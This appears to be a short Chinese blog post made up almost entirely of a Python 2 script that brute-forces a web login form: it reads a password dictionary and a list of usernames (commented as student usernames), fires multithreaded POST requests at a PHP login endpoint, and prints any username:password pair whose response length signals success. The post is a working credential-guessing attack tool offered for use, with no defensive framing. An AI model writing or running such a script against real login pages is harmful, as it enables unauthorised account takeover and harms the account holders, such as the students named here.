Pyhon POST登录账户用户自动猜测脚本

Pyhon POST登录账户用户自动猜测脚本

# -*- coding: latin-1 -*-

import urllib2

import urllib

import httplib

import cookielib

import threading

import sys

def openfile(path):

	fp=open(path)

	files = []

	for password in fp.readlines():

		files.append(password.replace('\n',''))

	fp.close()

	return files

def sendinfo(username,password):

	try:

		data =  urllib.urlencode({"username":username,"password":password,"submit":"%E7%99%BB%E5%BD%95","token":"9139c24b"})#token值抓包，估计会变

		headers = {"Content-type": "application/x-www-form-urlencoded"

			, "Accept": "text/plain"}

		httpClient = httplib.HTTPConnection("localhost.com", 80, timeout=30)

		httpClient.request("POST", "/web/index.php?c=user&a=login&", data, headers)

		response = httpClient.getresponse()

		if len(response.read()) > 3700:

			print "<mi> "+username+":"+password+"<ma>"

	except Exception,e:

		print e

	finally:

		if httpClient:

			httpClient.close()

def check(username,passwords):

	for password in passwords:

		sys.stdout.write("Username: %s   PassWord: %s \r" % (username,password))

		sys.stdout.flush()

		sendinfo(username,password)



if __name__ == '__main__':

	passwords=openfile("pass.dic")#字典

	username = openfile("username.txt")#学生用户名

	threads = []

	for user in username:

		threads.append(threading.Thread(target=check,args=(user,passwords)))

	for t in threads:

		t.start()

	t.join()

	print "all is over"